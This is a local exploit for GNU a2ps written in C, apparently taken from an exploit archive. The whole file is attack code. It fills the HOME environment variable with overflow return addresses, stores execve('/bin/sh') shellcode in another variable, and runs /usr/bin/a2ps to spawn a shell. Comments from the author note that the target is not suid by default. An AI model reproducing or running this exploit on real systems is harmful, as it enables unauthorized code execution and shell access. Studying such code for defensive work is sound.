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GNU a2ps "Anything to PostScript" Local Exploit (not suid)
[==========================================================
GNU a2ps "Anything to PostScript" Local Exploit (not suid)
==========================================================
/* Not added to Local Non Poc section /str0ke */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
// by lizard / lizstyle[at]gmail.com
// greets go to slider/trog for helpin me
// not suid by default ;(
#define VULNTHING "/usr/bin/a2ps"
#define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING)
#define xnullbitch 1100
//i`m not a asm guru so i ripped this shellcode
//shellcode by man shadow
char sc[] =
"\x31\xC9" /* xor ecx,ecx */
"\x31\xDB" /* xor ebx,ebx */
"\x6A\x46" /* push byte 70 */
"\x58" /* pop eax */
"\xCD\x80" /* int 80h */
"\x51" /* push ecx */
"\x68\x2F\x2F\x73\x68" /* push 0x68732F2F */
"\x68\x2F\x62\x69\x6E" /* push 0x6E69622F */
"\x89\xE3" /* mov ebx,esp */
"\x51" /* push ecx */
"\x53" /* push ebx */
"\x89\xE1" /* mov ecx,esp */
"\x99" /* cdq */
"\xB0\x0B" /* mov al,11 */
"\xCD\x80"; /* int 80h */
int main(void) {
int ctr = 0;
char buffer[xnullbitch];
fprintf(stdout, "[*] 0x%8x\n", (long) DEFRET);
for(ctr = 0; ctr < xnullbitch - 1; ctr += 4)
*(long *) &buffer[ctr] = (long) DEFRET;
buffer[xnullbitch - 1] = '\0';
if((setenv("HOME", buffer, 1)) == -1) {
perror("setenv()");
exit(1);
}
if((setenv("TOPX", sc, 1)) == -1) {
perror("setenv()");
exit(1);
}
if((execl(VULNTHING, VULNTHING, NULL)) == -1) {
perror("execl()");
exit(1);
}
return(0);
}
# 0day.today [2024-12-24] #